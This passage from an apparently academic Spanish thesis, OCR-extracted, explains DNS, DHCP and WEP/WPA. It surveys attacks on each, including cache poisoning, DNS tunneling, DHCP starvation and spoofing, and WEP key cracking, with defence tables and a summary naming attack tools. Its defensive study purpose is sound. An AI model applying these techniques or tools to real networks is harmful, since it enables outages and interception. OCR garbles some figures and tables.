Si la hubiera, se toma la direccion IP anotada y finaliza; de lo contrario, es necesario recurrir a un servidor DNS.
La direccion de los servidores DNS debe existir en la maquina del cliente DNS y se realiza una consulta, en
orden, a las direcciones indicadas hasta obtener una respuesta satisfactoria.

En un escenario tipico, se distinguen 4 figuras —sin contar con el cliente— en el proceso de resolucion:

e Solucionador recursivo: recibe la peticion del cliente DNS y, como el nombre indica, de forma recursiva
busca en los distintos servidores DNS el registro indicado por el cliente. Generalmente, suele tener una
caché para evitar bisquedas repetidas y agilizar la respuesta.

e Servidor raiz: es el primer servidor al que el solucionador debe dirigirse, y su direccion es conocida de
antemano. El servidor raiz responde segun la extension del dominio preguntado. En el ejemplo anterior,
devuelve al solucionador recursivo la direccion del servidor encargado de los dominios “.com”.

e Servidor de dominios de primer nivel: abreviado por sus siglas en inglés, el servidor TLD DNS contiene
los registros bajo la extension correspondiente (.com, .net, .org, ...). Siguiendo el mismo ejemplo, el
servidor TLD se encarga de responder la consulta de “google.com” y del resto de nombres que acaben
en “.com”.

e Servidor autoritativo: es el tercer y ultimo tipo de servidor al que se recurre. Ofrece al solucionador el
tipo de registro DNS solicitado o, en su defecto, devuelve un registro CNAME con la direccion de otro
servidor autoritativo. Si el cliente ha solicitado un registro MX o NS, no se puede devolver uno
CNAME.
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Root DNS server

e.g. 1.1.1.1
2 5 ; P
. Go to www.google.com Q DNS A lookup N Who is www.google.com?
20 10 www.google.com
.. x 9Connect to 4.3.2.1 PTry here: 12,34
User Client .
Local DNS resolver Ot TLD DNS server

e.g. 127.0.0.1 (localhost)
cache: empty

e.g.2.2.2.2(.com)

Authoritative DNS server
e.g. 1.2.3.4 (ns.google.com)

Figura 2-26. Proceso de resolucion recursivo DNS de www.google.com [49]

2411  Ataques sobre DNS

DNS es un objetivo atractivo para los atacantes ya que su peso en Internet es notable: en un periodo de 90 dias,
un estudio recabd 7’54 billones de solicitudes DNS, mas de 80 mil millones al dia [50].

2.4.1.1.1 Inundaciéon DNS

Los solucionadores de nombres publicos y los servidores DNS deben atender una gran cantidad de peticiones
constantemente. La inundacién DNS ataca a los objetivos (servidores DNS, nivel L7) con peticiones validas,
pero cuya finalidad es saturar sus recursos para dejar desatendidos a los clientes que intentan realizar peticiones
legitimas. De esta manera, las peticiones de clientes legitimos pueden verse pausadas durante segundos o, en el
peor de los casos, completamente desatendidas. Al igual que en el caso de la inundacion TCP, son los
cortafuegos, balanceadores de carga o proxys (elementos L3) quienes pueden colaborar en servir las respuestas
o limitar el nimero de peticiones.

Nivel de la Justificacion

Victima L7 La victima es un servidor DNS (L7)

Como en otros ataques de inundacion, la defensa se basa en la inspeccion y limitacion
Defensa L3 del flujo de mensajes, funcionalidad adicional que el conmutador carece, necesitando
un ruter, cortafuegos u otro elemento de nivel L3 con dicha funcion.

Tabla 2-26. Nivel de victima y defensa, y su justificacion en ataque de Inundacion DNS
2.4.1.1.2 Ataque de subdominio pseudoaleatorio

Una variante del ataque de inundacion DNS consiste en realizar un gran niimero de peticiones a distintos
dominios legitimos, pero encadenando un grupo pseudoaleatorio de caracteres (por ejemplo,
123asdf.google.com). Esta peticion pasa correctamente por el servidor raiz, el servidor TLD y llega hasta el
servidor autoritativo, que ante la cadena pseudoaleatoria responde con NXDOMAIN (cédigo RCODE 3) por no
existir dicho dominio. Como consecuencia, el servidor autoritativo pierde recursos en atender peticiones, a priori,
legitimas pero erroneas, con un resultado similar al de la inundacion DNS.
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Nivel de la Justificacion

Victima L7 La victima es un servidor DNS (L7)

Como en otros ataques de inundacion, la defensa se basa en la inspeccion y limitacion
Defensa L3 del flujo de mensajes, funcionalidad adicional que el conmutador carece, necesitando
un rater, cortafuegos u otro elemento de nivel L3 con dicha funcion.

Tabla 2-27. Nivel de victima y defensa, y su justificacion en ataque de Subdominio pseudoaleatorio
2.4.1.1.3 Amplificacion/Reflexion DNS

Las peticiones DNS, en comparacion con las respuestas, son relativamente pequenas. El BAF del protocolo
DNS oscila entre 28 y 54 [51]. Los ataques de amplificacion DNS se aprovechan de este desequilibrio en
comparacion de las solicitudes para atacar a la victima, cuya IP ha sido suplantada, con trafico DNS. Este ataque
también se denomina de reflexion por involucrar a intermediarios para generar el trafico, como se ha visto en
otros apartados. Asi, el atacante, con relativo poco esfuerzo, puede generar una avalancha de respuestas DNS
con la finalidad de sobrecargar la victima y ralentizar el equipo. Para su defensa, debe prevenirse la suplantacion
IP (mecanismo de defensa L2) como se ha mencionado en anteriores ataques.

Nivel de la Justificacion

Victima L7 Las victimas son un servidor y un cliente DNS (L7)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L.2)

Tabla 2-28. Nivel de victima y defensa, y su justificacion en ataque de Amplificacion/Reflexion DNS
241.14 Secuestro/Redireccionamiento DNS

Un cliente DNS espera que el solucionador DNS le devuelva el nombre del dominio correcto que ha solicitado,
al igual que el solucionador confia en la veracidad de la informacion suministrada por los servidores DNS. El
secuestro o redireccionamiento DNS engloba los ataques cuyo objetivo es que el cliente se conecte a un servidor
fraudulento. Las multiples variedades de este ataque surgen del sistema afectado: el equipo del cliente (secuestro
local), el enrutador al que esta conectado (secuestro de ruter), el propio servidor DNS (rogue DNS) o el canal
establecido entre cualquier punto medio del proceso (MitM). Las consecuencias dependen en gran parte de la
pagina maliciosa que el atacante aloja, pero, en esencia, se consigue evitar que el servidor DNS legitimo reciba
peticiones (DoS). El control del origen de dichas respuestas, es decir, la suplantacion IP, es la clave para la
defensa de estos ataques.

Nivel de la Justificacion

Victima L7 Las victimas son un servidor o solucionador DNS, y un cliente DNS (L7)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L.2)

Tabla 2-29. Nivel de victima y defensa, y su justificacion en ataque Secuestro/Redireccionamiento DNS
2.4.1.1.5 Envenenamiento de la caché

Los solucionadores recursivos suelen incluir una memoria caché para responder con mas rapidez a los clientes
y evitando la generacion de trafico innecesario. Esta memoria puede ser atacada con informacion falsa sobre los
dominios que el cliente pregunta —o pueda preguntar— para redirigirlo a un servidor ilegitimo. Con una sola
respuesta falsificada que haya conseguido almacenarse en la memoria, las sucesivas peticiones reciben
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informacion incorrecta hasta que caduque la entrada amafiada. El tiempo de vida de la entrada depende de la
configuracion del solucionador y de la informacion que contiene la respuesta. Al igual que en el secuestro DNS,
es muy importante verificar que las respuestas provienen de servidores legitimos y no de un equipo con la
direccion falseada.

Client DNS server Real website

1. Request to
real website

3. Resolve to
fake website

2. Inject fake
DNS entry

=

Figura 2-27. Inyeccion de entrada DNS hacia una web maligna [52]

Nivel de la Justificacion

Victima L7 Las victimas son un solucionador y un cliente DNS (L7)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L.2)

Tabla 2-30. Nivel de victima y defensa, y su justificacion en ataque de Envenenamiento de la caché
24.1.1.6 Ataque NXDOMAIN

Este ataque puede considerarse un caso especifico de envenenamiento de la caché o un dafio adicional causado
por un ataque de subdominio pseudoaleatorio. Un ataque NXDOMAIN consiste, primeramente, en consumir
los recursos de los solucionadores para responder solicitudes de dominios inexistentes. Ademas, las respuestas
NXDOMAIN se almacenan en la caché, quitando espacio para otros registros que pueden ser de mayor utilidad.
El solucionador DNS queda ocupado, tanto a nivel de memoria como de procesamiento, por estas peticiones,
disminuyendo la calidad y velocidad de sus servicios a los clientes legitimos. Es crucial, al igual que en la
inundacion DNS o el ataque de subdominio pseudoaleatorio, detectar estos comportamientos y/o limitar el
numero de peticiones mediante equipos intermedios.

Nivel de la Justificacion

Victima L7 La victima es un servidor DNS (L7)

Como en otros ataques de inundacion, la defensa se basa en la inspeccion y limitacion
Defensa L3 del flujo de mensajes, funcionalidad adicional que el conmutador carece, necesitando
un ruter, cortafuegos u otro elemento de nivel L3 con dicha funcion.

Tabla 2-31. Nivel de victima y defensa, y su justificacion en ataque NXDOMAIN
2.4.1.1.7 Tunelizaciéon DNS

Los cortafuegos suelen dejar abierto el acceso a trafico DNS ya que, como se ha comentado, es esencial para los
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usuarios. La tunelizaciéon DNS aprovecha esta brecha para transmitir informacion a través de mensajes DNS
entre el equipo victima y el atacante, que suele encontrarse fuera de la red privada. Es necesario que la victima
tenga abierta una aplicacion que actiie como servidor DNS falso para poder procesar las peticiones que el
atacante manda. Se suelen emplear técnicas de phishing para conseguir la instalacion del troyano. Los efectos
de la tunelizacion DNS dependen completamente de las intenciones del atacante con el equipo controlado. Es
posible detectar un tinel DNS a través de la inspeccion de este tipo de trafico y su direccion de origen,
presentando un alto volumen de peticiones y respuestas DNS de dominios extrafios.

Internet
Trusted evilwebsite
DNS server Firewall command-and-control

server
DNS request
evilwebsite.com

"send-more”

Tunneling malware

Data from victim

DNS response

=
"send-more” ﬁl

Victim PC Attacker PC

Figura 2-28. Ejemplo de tunelizacion DNS [53]

Nivel de la Justificacion

Victima L7 La victima es un cliente DNS (L7)

L3 La defensa se basa en la inspeccion y el bloqueo hacia ciertas direcciones IP,

Defensa N . )
funcionalidad adicional que requiere, al menos, un conmutador con plano de datos L3.

Tabla 2-32. Nivel de victima y defensa, y su justificacion en ataque Tunelizacion DNS
2.4.1.1.8 Dominio fantasma

Al usar UDP para solicitudes simples, no existe garantia de que el mensaje haya sido recibido por el servidor.
Tras unos segundos de espera, ¢l cliente da por hecho que existe algin error en la comunicacion o en el servidor.
El ataque de dominio fantasma se aprovecha de este comportamiento para inundar con dominios inexistentes y
que el solucionador espere lo maximo posible una respuesta, ocupando sus recursos. En el peor escenario, las
peticiones de los clientes legitimos se ven desatendidas y reciben, finalmente, un mensaje de error (DoS de nivel
L7). Por su semejanza con el ataque de dominio pseudoaleatorio, es recomendable fortificar al solucionador o
equipo intermedio (cortafuegos) mediante la filtracion y limitacion de las peticiones.

Nivel de la Justificacion

Victima L7 La victima es un solucionador DNS (L7)

Como en otros ataques de inundacion, la defensa se basa en la inspeccion y limitacion
Defensa L3 del flujo de mensajes, funcionalidad adicional que el conmutador carece, necesitando
un rater, cortafuegos u otro elemento de nivel L3 con dicha funcion.

Tabla 2-33. Nivel de victima y defensa, y su justificacion en ataque Dominio fantasma
2.4.1.19 Flujo rapido de DNS
A diferencia del resto de ataques expuestos, el flujo rapido de DNS tiene como finalidad ocultar la direccion o
direcciones IP asociadas a servidores maliciosos. Una capa extra de proteccion del servidor del atacante cambia,

ademas, la direccion del servidor autoritativo (flujo rapido doble). De esta forma, el nombre de dominio no varia
en ningin momento, pero las direcciones IP que las resguarda varian constantemente. Los resultados finales del
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ataque dependen de la actividad de los equipos del atacante. Existen herramientas que vigilan los cambios en los
registros de los dominios que alertan de la existencia de dominios sospechosos.

Nivel de la Justificacion

Victima L7 La victima debe tener nivel de aplicacion (L7)

La defensa se basa en la inspeccion del flujo de mensajes DNS, funcionalidad
Defensa L3 adicional que el conmutador carece, necesitando un ruter, cortafuegos u otro elemento
de nivel L3 con dicha funcion.

Tabla 2-34. Nivel de victima y defensa, y su justificacion en ataque Flujo rapido de DNS

2.4.2 Dynamic Host Configuration Protocol (DHCP)

El protocolo DHCP permite la asignacion dinamica de las direcciones IP de los equipos (IPv4, definido en la
RFC 2131 [54], e IPv6, en la RFC 3315 [55]), asi como otros parametros tales como la mascara de la subred, el
gateway de la red o los solucionadores DNS a utilizar, entre otros. De esta forma, los administradores de la red
pueden centralizar y automatizar la configuracion de los equipos.

El servidor DHCP, denominado DHSC, es el encargado de responder las solicitudes de los clientes,
ofreciéndoles una direccion IP en funcidn de su direccion MAC (asignacion estatica) o una cualquiera dentro de
un rango de direcciones. Si no existe una restriccion temporal, el cliente permanece con la direccion asignada
hasta que este decide liberarla (asignacion automatica); de lo contrario, si el DHSC limita el tiempo que una IP
puede ser utilizada por el cliente (asignacion dinamica), la direccion es revocada automaticamente al agotarse el
periodo, a menos que se apruebe una ampliacion.

El protocolo DHCP tiene asignado por defecto el puerto UDP 67 para los servidores y UDP 68 para los clientes.
Su cabecera se muestra a continuacion en la Figura 2-29:

options (variable)

@ 1 2 3
2123456789%901234567890123456785801
ettt tt ettt -t-+ ettt ottt +
| op (1) | htype (1) | hlen (1) [ hops (1)

+ + + + +
| xid (4) |
+ + +
| secs (2) | flags (2)

+ t t
| ciaddr (4) |
+ t
| yiaddr (4) |
+ t
| siaddr (4) |
+ +
| giaddr (4) |
+ +
| |
| chaddr (16) |
| |
| |
+ +
| |
| sname (64) |
+ +
| |
| file  (128) |
+ t
| |
| |
+ +

Figura 2-29. Formato de la cabecera DHCP

Se destacan los siguientes campos de la cabecera:
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OP: identifica la naturaleza del mensaje DHCP. En una sesion tipica, se involucran los mensajes DHCP
DISCOVER (1), OFFER (2), REQUEST (3) y ACK (5).

XID: identificador de la transaccion para asociar los mensajes y respuestas a una sesion entre cliente y
servidor.

CIADDR: direccion IP del cliente, en caso de que se trate de una renovacion de la licencia de su
direccion IP o reasignacion de sus parametros.

YIADDR: direccion IP que el servidor ofrece al cliente.
SIADDR: direccion IP del propio servidor DHCP.

GIADDR: direccion IP del agente de retransmision (DHCP relay agent), que actia como intermediario
entre el servidor DHCP y el cliente en escenarios donde el DHSC da cobertura a varias subredes.

CHADDR: direccion hardware del cliente.

OPTIONS: otros parametros de configuracion, como la mascara de la subred (codigo 1), el rtter (codigo
3) o el solucionador DNS (codigo 6).

Como se menciona previamente, en una sesion DHCP tipica se intercambian cuatro mensajes entre cliente
(puerto UDP 68) y servidor (puerto UDP 67):

client server
(IQLFE,R/— o
3
(D
—EQUEST l

\4 \4

Figura 2-30. Proceso tipico de asignacion de direcciones con DHCP [56]

DISCOVER (OP=1): el cliente difunde un mensaje a la red en busqueda del servidor DHCP. Al
desconocer su IP y la del servidor, la direccion IP origen del mensaje es la 0.0.0.0 y la destino
255.255.255.255. En la cabecera DHCP incluye los campos XID con un identificador aleatorio y
CHADDR con su direccion MAC, asi como las opciones adicionales que el cliente solicite.

OFFER (OP=2): ante la llegada de la peticion, el servidor asigna una direccion IP atendiendo a su
criterio establecido (estatica, automatica o dindmica). La direccion escogida se incluye en el campo
YIADDR de la cabecera DHCP, junto con el XID y CHADDR del cliente. También se rellena el campo
SIADDR con la direccion del DHSC y las opciones requeridas por el cliente mas las que el servidor
DHCP tenga establecidas.

REQUEST (OP=3): tras la oferta (u ofertas, en caso de existir mas de un DHSC en la red), el cliente
responde a la primera DHCPOFFER recibida, confirmando el uso de la direccion indicada en el campo
YIADDR.
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o ACK (OP=5): el proceso finaliza con la confirmacién de la direccion IP por parte del servidor al cliente,
en la que se incluye el tiempo de la licencia si procede (codigo 51). Es tarea del cliente comprobar
mediante una peticion ARP que la direccion asignada no esta en uso. De ser asi, debe rechazarla con un
mensaje DHCPDECLINE (OP=4).

2421 Ataques sobre DHCP

Como en el caso del protocolo STP, existe una confianza de los mensajes DHCP, tanto por parte del cliente
como del servidor, que puede ser explotada por un usuario con intenciones malignas.

2.4.2.1.1 DHCP Flooding/Starvation

La pool de direcciones de los servidores DHCP (nivel L7) esta limitada por el propio ntimero de equipos que
pueden existir en una subred y el rango asignable por el propio DHSC. Un atacante puede falsificar peticiones
DHCP DISCOVER con diferentes direcciones MAC e inundar la red con estos mensajes, agotando el rango de
direcciones del servidor DHCP. El impacto directo de este ataque es una DoS del DHSC, que ya no puede
responder a las peticiones legitimas, y suele estar acompainiado del ataque DHCP Spoofing que se estudia en el
siguiente apartado. Los equipos intermedios que interconectan los distintos dispositivos, como los conmutadores
(elementos L2), pueden limitar el nimero de direcciones MAC que cada puerto aprende, mitigando este ataque.

Nivel de la Justificacion

Victima L7 La victima es un servidor DHCP (L7)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L.2)

Tabla 2-35. Nivel de victima y defensa, y su justificacion en ataque DHCP Flooding/Starvation
2.4.2.1.2 DHCP Spoofing

Los clientes DHCP aceptan la primera oferta que un servidor les ofrece. Si un atacante levanta su propio servidor
DHCP, compite directamente con el servidor legitimo donde la velocidad es el tnico factor que se tiene en
cuenta. Si previamente se ha llevado un ataque DHCP Starvation contra el DHSC legitimo, el atacante tiene
total libertad de asignar las direcciones IP y los campos opcionales (pasarela, solucionador DNS...) que desee.
Las consecuencias de este ataque, ademas de la denegacion de servicio del servidor DHCP, dependen de las
intenciones del atacante, pudiendo desencadenar ataques mayores, como un secuestro DNS. Al igual que en el
caso anterior, los equipos intermediarios (conmutadores de red, nivel L2) pueden limitar la presencia de
servidores DHCP o de los mensajes DHCP OFFER segun el puerto de entrada para evitar este ataque.

Nivel de la Justificacion

Victima L7 Las victimas son un servidor y un cliente DHCP (L7)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L.2)

Tabla 2-36. Nivel de victima y defensa, y su justificacion en ataque DHCP Spoofing
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2.43 Sumario de ataques de capa aplicacion
Nivel (Defendible Herramientas (Jmplementado
Ataque Objetivo | victima/defensa en Consecuencias de atacue en otro
Nivel ataque | conmutador? q TFG/TFEM?
i i L7/L3
Inundacion DNS | Servidor No DoS bettercap, No
[57] DNS L3 dnsspoof
Ataque de PolarDNS,
subdominio Servidor L7/L3 dns-random-
. No DoS . No
pseudoaleatorio DNS L3 subdomains-
[58] ddos-attack
Servid S dnsdrd
. . ervidor nsdrdos,
Amplificacion DNS | “ g L7/L2 Asociar IP- saddam
[59], Reflexion . MAC- DoS, DDoS ’ Si[16]
DN [60] Equipo L2 dns_spquery,
final VLAN- tsunami
Puerto
y Si
.Secu‘estro / S%rlxgsor L7/L2 Asociar IP- Accesg a web
Redireccionamiento Equi ’0 MAC- ilegitimas o ettercap No
DNS [61] quip L2 VLAN- malignas
final
Puerto
) Si
Servidor ; Acceso a web
Envenenamiento de | DNS, L7/L2 Asociar IP- leitimas o etterca No
la caché [62] Equipo L2 MAC- gl P
final VLAN- malignas
Puerto
Ataque Servidor L7/L3 N DoS ddns— . N
0 0 nxdomain- 0
NXDOMAIN [63] DNS L3 flood-attack
dnscat2,
Tunelizacion DNS | Equipo L7/L3 Parcialmente | - Control del dns?tcp ’
. nstx, iodine, No
[64] final L3 ACLs equipo TUNS
heyoka
Dominio fantasma | Servidor L7/L3
[65] DNS 3 No DoS PolarDNS No
. L7/L3 Defender
Flujo rapido [66] Equipo No dominios - No
final L3 .
malignos
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Nivel (Defendible Herramientas (Jmplementado
Ataque Objetivo | victima/defensa en Consecuencias de ataque en otro
Nivel ataque | conmutador? d TFG/TEM?
Si
o DHCPig,
DHCP Flooding / | Servidor L7/L2 Llfmtar DoS yersinia, i [6]
Starvation [67] DHCP L2 trafico DHCPwn,
DHCP The Gobbler
seglin puerto
Si .
o DoS, yersinia,
DHCP Spoofing | Servidor L7/L2 Llr’nltar Configuracion |  Wesley, Si [6]16]
[68] DHCP 12 trafico del equipo Ghost
DHCP victima Phisher
segun puerto

Tabla 2-37. Resumen de los ataques DNS

2.5Protocolo IEEE 802.11: Wi-Fi

El estandar IEEE 802.11 es la base de la familia de protocolos de la Wi-Fi Alliance. Por su amplia extension y
popularizacion de sus productos, se denomina comtinmente Wi-Fi —o wifi— a esta tecnologia. El protocolo
define la capa fisica y el control de acceso al medio, es decir, las capas primera y segunda del modelo OSI. Este
capitulo toma la base de los TFM [69] y [70], centrandose en los mecanismos de proteccion de los datos
transmitidos: los algoritmos de encriptacion WEP, WPA, WPA2 y WPA3.

2.51 Wired Equivalent Privacy (WEP)

El algoritmo WEP se define en 1997 en el estandar original 802.11. Como su nombre indica, tiene como objetivo
garantizar una seguridad equivalente a la de una red cableada. Para lograrlo, se basa en el algoritmo de cifrado
RC4 para la confidencialidad del mensaje y un checksum CRC-32 para la integridad del mismo.

El proceso de encriptacion se muestra en la Figura 2-31. En primer lugar, el emisor y el receptor deben compartir
una clave privada para el cifrado y descifrado de la informacion. Originalmente, esta clave eran 5 caracteres
alfanuméricos; posteriormente, se amplio hasta 13 caracteres ASCII. La clave secreta es concatenada a un vector
de inicializacion (IV): 3 octetos que se generan con cada paquete para afiadir un grado de aleatoriedad a la clave,
que es fija. En total, 8 o 16 octetos, segin la longitud de la clave, son usados como semilla (seed) para el
algoritmo RC4, generando una secuencia pseudoaleatoria de caracteres (Key Sequence). La informacion a
transmitir, junto con su checksum (ICV), se somete a una operacion XOR con la cadena pseudoaleatoria.
Finalmente, para que el receptor pueda descifrar el mensaje, es necesario adjuntar el IV utilizado en el proceso
de cifrado.
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v
Initialization Key Sequence
Vector (IV)
1 prre g
Secret Key —» @® ——»| Ciphertext

—

Plaintext >

Integrity Algorithm|————» | ‘
Integrity Check Value (ICV)

Message
Figura 2-31. Proceso del cifrado WEP [71]

En su recepcion, el proceso seguido es justamente el inverso. Analogamente al cifrado, el descifrado comienza
por obtener la cadena pseudoaleatoria de caracteres con el IV recibido y la clave, precompartida por ambos
actores. Como el resultado de una doble operacion XOR es la secuencia original, basta con sumar la cadena
generada con el mensaje —sin el [V— para obtener el contenido original y su ICV para comprobar su integridad.

Secret Key——» -
v 1 WEP | Key Sequence Plaintext ]
" PRNG i |_,' cv
Seed : -
—>
@ Integrity Algorlthml

' >
Ciphertext > -
Message

Figura 2-32. Proceso del descifrado WEP y verificacion del mensaje

Para que un equipo pueda mandar mensajes en la red inaldmbrica, existen dos métodos de autenticacion con el
punto de acceso. El mas simple es el de sistema abierto, en el que los clientes pueden asociarse al AP
indistintamente de si conocen o no la PSK. Opuestamente, el método de autenticacion mediante clave
compartida requiere que el cliente encripte mediante WEP un mensaje que el AP le envia (en texto claro) para
ser aceptado.

Como se detalla mas adelante en el apartado 2.5.1.1, WEP es un protocolo con multiples vulnerabilidades que
en 2004 se clasifico como inseguro y no recomendado en el estandar IEEE 802.11i.

2511  Ataques sobre WEP

El algoritmo de cifrado implementado en WEP tiene muchos puntos débiles. Concretamente, la transmision del
IV al descubierto y las propias caracteristicas del vector, y el uso del ICV como método para la integridad de los
mensajes resultan insuficientes para que un atacante, con el tiempo suficiente, descifre la clave o pueda introducir
mensajes en la red.

2.5.1.1.1 Falsa autenticacion

El ataque de falsa autenticacion es la base para inyectar trafico ilegitimo. El mecanismo de autenticacion WEP
es débil, tanto el modelo abierto como el de clave precompartida. El primero, simplemente, es inexistente; el
segundo, es suficiente con capturar un intercambio de mensajes de autenticacion para poder recrearlo. No existe
una defensa directa contra la falsa autenticacion, con lo que un atacante puede vincularse a cualquier punto de
acceso (elemento de nivel L2) que utilice cifrado WEP.
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Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado WEP (L2)

La defensa se basa en no utilizar el cifrado WEP ya que se trata de una debilidad

Defensa L2 intrinseca de este. Los cifrados WPA (L.2) no tienen esta vulnerabilidad

Tabla 2-38. Nivel de victima y defensa, y su justificacion en ataque de Falsa autenticacion
2.5.1.1.2 ChopChop

Es posible averiguar qué cadena de caracteres pseudoaleatorios se utiliza en el proceso XOR sin conocer la clave
de acceso. El método ChopChop, a partir de un paquete capturado de la red, aprovecha el campo ICV de
autenticacion del mensaje para descifrar, octeto a octeto, los caracteres. Asi, al variar un valor del mensaje, tan
solo es necesario ir probando valores del ICV hasta que el paquete se considere valido y sea retransmitido por
el AP. Una vez se alteran todos los octetos del paquete capturado, se obtiene una cadena tan larga como la
longitud de este. Con esta informacion es posible generar tramas y paquetes (tan largos como la cadena extraida)
que se pueden inyectar en la red.

Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado WEP (L2)

La defensa se basa en no utilizar el cifrado WEP ya que se trata de una debilidad

Defensa L2 intrinseca de este. Los cifrados WPA (L2) no tienen esta vulnerabilidad

Tabla 2-39. Nivel de victima y defensa, y su justificacion en ataque ChopChop
2.5.1.1.3 Fragmentacion

Al igual que ChopChop, el ataque de fragmentacion tiene como objetivo obtener la cadena pseudoaleatoria del
cifrado L.2. Aprovechando que IEEE 802.11 soporta la fragmentacion a nivel de enlace (maximo 16 fragmentos)
y que ciertos paquetes capturados son conocidos por su tamafio, extrayendo 8 octetos de la cadena
pseudoaleatoria se pueden inyectar paquetes conocidos de hasta 64 octetos de datos. El AP, al recibir los
fragmentos, los descifra y los agrupa en una tinica trama antes de devolverlos a la red. De esta forma, el atacante
obtiene, en la primera iteracion, los 64 primeros caracteres de la cadena pseudoaleatoria. Este proceso se repite
hasta descubrir 1500 caracteres® con los que inyectar trafico en la red.

Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado WEP (L2)

La defensa se basa en no utilizar el cifrado WEP ya que se trata de una debilidad

Defensa L2 intrinseca de este. Los cifrados WPA (L.2) no tienen esta vulnerabilidad

Tabla 2-40. Nivel de victima y defensa, y su justificacion en ataque Fragmentacion
2.5.1.1.4 Inyeccion

En su version mas simple, un ataque de inyeccion consiste, en realidad, en reinyectar trafico capturado a la red.
Aunque no se sepa su contenido por estar cifrado, si se conoce la longitud de determinados paquetes de
antemano. Por ejemplo, las peticiones ARP siempre son de 28 octetos, y reinyectandolo constantemente forzaria
al destinatario a responderlo reiteradamente.

La inyeccion de paquetes forjados requiere de pasos adicionales. Tras obtener la cadena de caracteres
pseudoaleatorios utilizada en la operacion XOR por otros ataques (por ejemplo, fragmentacion), es posible crear

¢ A partir de 1500 octetos de datos es necesario fragmentar los paquetes. Por tanto, solo hacen falta 1500 caracteres para cifrar la informacion.
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un mensaje valido con los campos que interesen al atacante. El resultado del ataque depende de la naturaleza de
los paquetes inyectados, siendo el mas basico la saturacion del punto de acceso enviando trafico destinado a este

dispositivo.

Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado WEP (L2)

La defensa se basa en no utilizar el cifrado WEP ya que se trata de una debilidad

Defensa L2 intrinseca de este. Los cifrados WPA (L.2) no tienen esta vulnerabilidad

Tabla 2-41. Nivel de victima y defensa, y su justificacion en ataque de Inyeccion

2.5.1.1.5 Ataque FMS, KoreKy PTW

Los ataques estadisticos FMS, KoreK y PTW, todos ellos nombrados en referencia a sus creadores, son ataques
estadisticos que permiten la obtencion de la clave precompartida. Cada uno es una mejora directa del anterior,
requiriendo menos tiempo y menos paquetes o [Vs capturados en las cabeceras L2 para conseguirlo. PTW, el
ataque mas avanzado, con casi 10”5 I'Vs recogidos tiene una fiabilidad de més del 95%.

1 I 1

L 1 k|
keyfimit 1,000,000 ——
0.9 - 5% randomized kEl‘j."liI'I'Iil 1.|:|U':I.{I|:ID ______ L pepreres
keylimit 5,000 -------
0.8 linx iv keylimit 1,000,000 - o

o7 b
06
0.5 po
0.4 o

probability of success

0.3 =
01

0
20000 25000 30000 35000 40000 45000 50000 55000 60000  G5000 70000 75000 0000 85000

number of keystreams collectad

Figura 2-33. Relacion entre IVs capturados y probabilidad de éxito del ataque PTW [72]

La esencia de los ataques FMS y KoreK esta en los denominados IVs débiles: vectores de inicializacion que,
cuando toman ciertos valores, revelan informacion sobre la clave’. PTW, por otra parte, es capaz de aprovechar
cada IV obtenido, clasificandolos y combinando claves en funcién de su probabilidad de éxito. Al no depender
de los IVs débiles, la velocidad y el nimero de IVs necesarios son considerablemente menores que los ataques
FMS y KoreK. Un ataque exitoso revela al atacante la clave precompartida, destrozando por completo la

seguridad de la red.

Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado WEP (L2)

La defensa se basa en no utilizar el cifrado WEP ya que se trata de una debilidad

Defensa L2 intrinseca de este. Los cifrados WPA (L2) no tienen esta vulnerabilidad

Tabla 2-42. Nivel de victima y defensa, y su justificacion en ataque FMS/KoreK/PTW

7 La estructura de octetos del IV débil sigue la forma [A+3, 255, ...]. Para los valores A=0,1...n-1, donde n es la longitud de la contrasefa, se
puede descifrar caracter a caracter la clave.
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2.5.2 Wireless Protected Access (WPA)

Seis afios mas tarde, en 2003, surge WPA como un protocolo transitorio hacia WPAZ2, el cual todavia no habia
sido completamente desarrollado por el IEEE. Con las vulnerabilidades detectadas en WEP, WPA surge como
una actualizacion firmware para fortalecer el cifrado WEP a la espera de que estuviera disponible WPA2.

Se distinguen dos modos de operacion dentro de WPA:

e  WPA personal o WPA-PSK: utilizado en redes pequefias y medianas, la WPA personal utiliza una clave
precompartida (como en WEP) para el proceso de autenticacion del cliente. El tamafio minimo de la
contrasena es de 8 caracteres ASCII y 63 como maximo.

o  WPA empresarial: se utiliza un servidor de autenticacion 802.1X y RADIUS para que los clientes
puedan conectarse al punto de acceso. Ademas, soporta otros métodos de autenticacion como EAP o
PEAP.

WPA sigue utilizando el algoritmo RC4 y los vectores de inicializacion, pero a diferencia de WEP, el IV pasa
de 3 a 6 octetos y no viaja al descubierto, y ademas del checksum se incluye un MIC (Message Integrity Check).
Ademas, deja de utilizarse la contrasefia como tal en el proceso de cifrado, sino que se utiliza una clave temporal
denominada PTK. Este nuevo proceso se denomina TKIP. Primero, se realiza un hash con el vector de
inicializacion y con la PTK. Después, el mismo IV y la salida del #ash se utilizan como entrada en el algoritmo
RC4. Finalmente, la cadena pseudoaleatoria generada a la salida y el mensaje a transmitir son sometidos a una
operacion XOR.

Y

Initialization
Vector (IV) Hash » RC4

——» XOR —» Message
PTK —>

Plaintext +
MIC

Figura 2-34. Proceso simplificado del cifrado WPA TKIP [73]

La PTK se obtiene a partir de introducir los siguientes campos en una funcion pseudoaleatoria: PMK, ANonce,
SNonce, direccion MAC del cliente y del AP [74]. La PMK se deriva de la contrasefia de WPA-PSK o bien del
